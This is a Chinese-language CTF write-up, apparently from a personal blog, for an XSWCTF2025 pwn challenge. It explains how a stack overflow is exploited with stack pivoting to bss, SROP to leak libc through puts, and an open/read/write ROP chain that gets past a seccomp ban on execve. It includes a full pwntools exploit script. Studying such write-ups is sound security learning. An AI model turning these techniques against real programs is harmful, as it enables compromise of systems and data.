SROP

建议先看stack pivot再来这里…

ok题目来自XSWCTF2025初赛的一道pwn,考察了更加精妙的栈风水布局(基于stack pivot),同时融合着SROP和ORW,来看看吧!

ps:虽然比赛时我也没做出来(x_x)

先看一下题目逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void main(void)
{
undefined1 local_78 [108];
undefined4 local_c;

local_c = 0;
setbuf(stdin,(char *)0x0);
setbuf(stdout,(char *)0x0);
sandbox();
puts("hey hey what are you doing here?");
FUN_004010e0(0,local_78,0x50); #第一次read,没有溢出
puts("I say STOP doing this!");
FUN_004010e0(0,local_78,0x200); #第二次read,存在溢出
return;
}

保护虽然只有NX,但是同时开启了seccomp沙箱(sandbox),使用命令

1
seccomp-tools dump ./pwn

查看,发现禁用了execve,所以只能打ORW(open,read,write),让我们找找关于寄存器的gadget,额,竟然什么都找不到…

但是我们找到了一个syscall的汇编指令,所以在这种情况下,我们就要使用一招系统内核级的利用,SROP,linux存在一种信号处理机制,当进程收到信号时,内核会先暂停进程执行,然后保存当前寄存器状态到用户栈(sigcontext),接下来跳转到信号处理函数,等信号处理函数执行完毕后,调用sigreturn系统调用,内核从栈上恢复寄存器状态,因此,我们可以伪造sigcontext结构,同时设置raxsigreturn的系统调用号15(x86-64),并执行syscall指令触发sigreturn机制,内核便会从我们伪造的sigcontext中恢复所有我们所设定的寄存器值,从而完全控制进程执行流!

然而还有一个关键点在于如何将rax设置为15,因为并没有pop rax; ret;的gadget,这时,”不难”想到,rax寄存器上保存的是函数的返回值,我们可以在read时读入15个字节长度的数据,此时rax便被巧妙地设置为了15,此时再执行syscall即可调用sigreturn机制打我们的SROP

当然,为了不破坏栈的结构,我们仍然需要利用stack pivot迁移至bss段上伪造我们的栈帧并布局我们的利用链…

先把有用的地址列出来

1
2
3
4
5
6
read = 0x4012a9    #对应执行我们的第二次read的地址
syscall = 0x4012fa
leave_ret = 0x4012d3 #栈迁移的关键
puts_got = 0x404010
puts_plt = 0x4010b0
bss = 0x404090 + 0x500 #0x404590(布局的地方)

第一次的read直接跳过,来到我们的第二次read,首先将rbp迁移至bss段,并重新执行一次read(想必都会了吧)

1
2
3
p.sendafter(b"re you doing here?\n",b"beef")

p.sendafter(b"TOP doing this!\n",b"A" * 0x70 + p64(bss) + p64(read))

这时在bss段上形成了新的栈帧,我们步骤好srop的sigcontext以泄露libc基址,并进行第二次段内迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
p.recvuntil(b"doing this!\n")
payload = p64(bss + 0x10) + p64(read)
payload = payload.ljust(0x70,b"\x00")
payload += p64(bss - 0x70)
payload += p64(leave_ret)
payload += p64(bss+0x100)
payload += p64(syscall)

frame3 = SigreturnFrame()
frame3.rip = puts_plt
frame3.rsp = bss - 0x60 + 8
frame3.rbp = bss + 0x210
frame3.rax = 15
frame3.rdi = puts_got
frame3.rsi = 0
frame3.rdx = 0

payload += bytes(frame3)

p.send(payload)

发送完这次payload后再次执行read,我们发送15字节长度的数据以将rax设置为15,同时注意,此时经过我们的布置,rbp目前在0x4045a0的位置,刚好新栈帧rip返回地址的位置便是我们的syscallsigcontext

1
p.sendafter(b"TOP doing this!\n",p64(bss) + b"\xa9\x12\x40\x00\x00\x00\x00")

这次便会真正执行到我们的sigcontext中所设置的寄存器,即,泄露puts真实地址,从而得到libc基址,继而得到open,read,write和所需gadget的地址,而rbp被设置到更上方的地址再次布局我们最后的ORWrsp设置在了我们先前read指令的所在地,因此,进行最后一次read,直接布置最终的rop链…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
libc_base = u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libc_base))
open=libc_base+libc.sym['open']
write=libc_base+libc.sym['write']
rread=libc_base+libc.sym['read']
rdi=libc_base+0x10f78b
rsi=libc_base+0x110a7d
rdx=0x4012fc
ret=libc_base+0x2882f
p.recvuntil(b"doing this!\n")
payload = b'A'*0x18+p64(bss+0x10)+b'B'*0x50+b'./flag\x00\x00'
payload += p64(rdi) + p64(bss+0x210) + p64(rsi) + p64(0) +p64(open) #bss+0x210就是flag字符串的地址!
payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss+0x318) + p64(rdx) + p64(0x100) + p64(bss+0x318) + p64(rread) #3为fd,rsi随便放哪里好了...
payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss+0x318) + p64(rdx) + p64(0x100) + p64(bss+0x318) + p64(write) #将flag写到stdout,注意对齐...

最终,在精妙的布局与利用下,我们成功获得了flag…

由于迷失于错综的地址,当时我也是对着gdb调试了老半天才算看懂这道题的wp,写出来过程也算了却一下自己的心魔,依旧贴一张图帮助你思考…

内存布局

最后贴一下完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
#p=process('./pwn')
p=remote('127.0.0.1',40315)
libc=ELF('./libc.so.6')
context.log_level = 'debug'
context.arch = 'amd64'

read = 0x4012a9
syscall = 0x4012fa
leave_ret = 0x4012d3
puts_got = 0x404010
puts_plt = 0x4010b0
bss = 0x404090 + 0x500
print(hex(bss))

p.sendafter(b"re you doing here?\n",b"beef")

p.sendafter(b"TOP doing this!\n",b"A" * 0x70 + p64(bss) + p64(read))
p.recvuntil(b"doing this!\n")
payload = p64(bss + 0x10) + p64(read)
payload = payload.ljust(0x70,b"\x00")
payload += p64(bss-0x70)
payload += p64(leave_ret)
payload += p64(bss+0x100)
payload += p64(syscall)

frame3 = SigreturnFrame()
frame3.rip = puts_plt
frame3.rsp = bss-0x60+8
frame3.rbp = bss+0x210
frame3.rax = 15
frame3.rdi = puts_got
frame3.rsi = 0
frame3.rdx = 0

payload += bytes(frame3)

p.send(payload)

p.sendafter(b"TOP doing this!\n",p64(bss) + b"\xa9\x12\x40\x00\x00\x00\x00")

libc_base = u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libc_base))
open=libc_base+libc.sym['open']
write=libc_base+libc.sym['write']
rread=libc_base+libc.sym['read']
rdi=libc_base+0x10f78b
rsi=libc_base+0x110a7d
rdx=0x4012fc
ret=libc_base+0x2882f
p.recvuntil(b"doing this!\n")
payload = b'A'*0x18+p64(bss+0x10)+b'B'*0x50+b'./flag\x00\x00'
payload += p64(rdi) + p64(bss+0x210) + p64(rsi) + p64(0) +p64(open)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss+0x318) + p64(rdx) + p64(0x100) + p64(bss+0x318) + p64(rread)
payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss+0x318) + p64(rdx) + p64(0x100) + p64(bss+0x318) + p64(write)

p.send(payload)
#gdb.attach(p)
p.interactive()

就到这里便结束了,感谢阅读,生活愉快…


SROP
https://roxy5201314.github.io/2025/12/25/SROP/
作者
roxy
发布于
2025年12月25日
更新于
2026年2月12日
许可协议